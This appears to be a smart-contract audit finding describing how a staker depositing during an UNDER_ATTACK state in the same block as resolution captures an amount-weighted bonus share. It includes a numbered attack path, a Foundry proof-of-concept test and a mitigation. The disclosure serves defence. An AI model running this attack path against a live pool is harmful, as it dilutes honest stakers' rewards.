FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Same-block risk start/end fallback can let late UNDER_ATTACK stakers capture bonus amount-weighted

Author Revealed upon completion

Root + Impact

Where

Deposits are allowed in UNDER_ATTACK:

function _assertDepositsAllowed(...) {
if (
state == PROMOTION_REQUESTED ||
state == PRODUCTION ||
state == CORRUPTED
) revert StakingClosed();
}

UNDER_ATTACK is intentionally not blocked. But if the risk window starts and ends with the same timestamp, _bonusShare() uses amount-weighted fallback:

if (globalScore == 0) {
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}

Impact

A user can stake during UNDER_ATTACK in the same block/timestamp where the pool later observes terminal resolution. Instead of receiving near-zero bonus, they receive an amount-weighted share.

This contradicts the comment saying UNDER_ATTACK deposits “earn ~zero k=2 bonus.” They earn ~zero only if there is positive elapsed time between riskWindowStart and riskWindowEnd. If both are the same timestamp, the fallback gives them a full amount-weighted bonus share.
Unfair bonus distribution; dilution of honest stakers’ rewards; contradicts stated design guarantee.
A late staker can capture a full proportional share of the bonus pool, diluting the rewards of earlier stakers and contradicting the design intention that UNDER_ATTACK deposits earn ~zero bonus.

Description

When a user stakes during UNDER_ATTACK in the same block as the registry transitions to a terminal state, both riskWindowStart and riskWindowEnd receive identical timestamps. This causes globalScore to equal 0, triggering the amount‑weighted fallback instead of the intended near‑zero k=2 bonus.

Because riskWindowStart is recorded lazily on pool interaction, not necessarily at the actual registry transition time, a late staker can be the first interaction that observes UNDER_ATTACK.

Registry may have been UNDER_ATTACK before,
but the pool only records riskWindowStart when someone interacts.The pool measures risk duration from the first pool observation of UNDER_ATTACK, not from the registry’s actual UNDER_ATTACK transition. If the first observation occurs in the same timestamp as resolution, the time-weighted score collapses to zero and the fallback distributes the bonus by amount.

Proof of Concept

This test demonstrates that a staker who deposits during UNDER_ATTACK in the same block where the risk window ends receives a full proportional share of the bonus pool, contradicting the intended “~zero bonus” design.

Attack path

  1. Registry is UNDER_ATTACK.

  2. Attacker stakes a large amount.

  3. This first pool interaction sets riskWindowStart = block.timestamp.

  4. Registry reaches terminal state in the same block/timestamp, or moderator flags outcome in same timestamp after terminal state.

  5. _markRiskWindowEnd() sets riskWindowEnd = same timestamp.

  6. globalScore == 0.

  7. Bonus distribution falls back to amount-weighted.

  8. Late staker captures bonus despite taking no meaningful time risk.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_M02 is BaseConfidencePoolTest {
function test_SameBlockRiskStartEnd_GivesLateStakerFullBonus() public {
// 1. Early stakers deposit and bonus is contributed.
_stake(alice, 100 * ONE);
_stake(bob, 200 * ONE);
_contributeBonus(carol, 300 * ONE);
// 2. Advance time to a point well before expiry.
vm.warp(block.timestamp + 10 days);
// 3. Set the registry to UNDER_ATTACK.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// 4. Attacker stakes in the **same block** as the terminal state observation.
// The stake triggers `_observePoolState()`, which opens `riskWindowStart` at this timestamp.
// Use the helper to mint tokens and approve for the attacker.
_stake(attacker, 1000 * ONE); // large stake
// 5. In the same timestamp, move to a terminal state and resolve.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// 6. Capture the snapshot values used for bonus distribution.
uint256 snapshotBonus = pool.snapshotTotalBonus();
uint256 snapshotStaked = pool.snapshotTotalStaked();
// 7. Attacker claims – receives bonus proportional to their stake.
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimSurvived();
uint256 attackerAfter = token.balanceOf(attacker);
uint256 attackerPayout = attackerAfter - attackerBefore;
uint256 attackerBonus = attackerPayout - 1000 * ONE;
// Expected amount-weighted bonus: (attackerStake / totalStaked) * totalBonus
uint256 expectedAttackerBonus = Math.mulDiv(
1000 * ONE,
snapshotBonus,
snapshotStaked
);
assertEq(attackerBonus, expectedAttackerBonus, "attacker receives amount-weighted bonus despite zero time risk");
// 8. Early staker Bob's bonus is diluted.
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobAfter = token.balanceOf(bob);
uint256 bobPayout = bobAfter - bobBefore;
uint256 bobBonus = bobPayout - 200 * ONE;
// Bob's expected bonus WITHOUT the late attacker: (bobStake / (aliceStake+bobStake)) * totalBonus
uint256 bobExpectedWithoutAttacker = Math.mulDiv(
200 * ONE,
snapshotBonus,
300 * ONE // 100 (alice) + 200 (bob)
);
assertLt(bobBonus, bobExpectedWithoutAttacker, "honest early staker is diluted by late UNDER_ATTACK stake");
}
}

Recommended Mitigation

Best fix: disallow staking once UNDER_ATTACK begins.

if (
state == IAttackRegistry.ContractState.UNDER_ATTACK ||
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED ||
state == IAttackRegistry.ContractState.PRODUCTION ||
state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}

Alternative: when globalScore == 0, distribute only to stake that existed before riskWindowStart, or return zero bonus instead of amount-weighted fallback.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!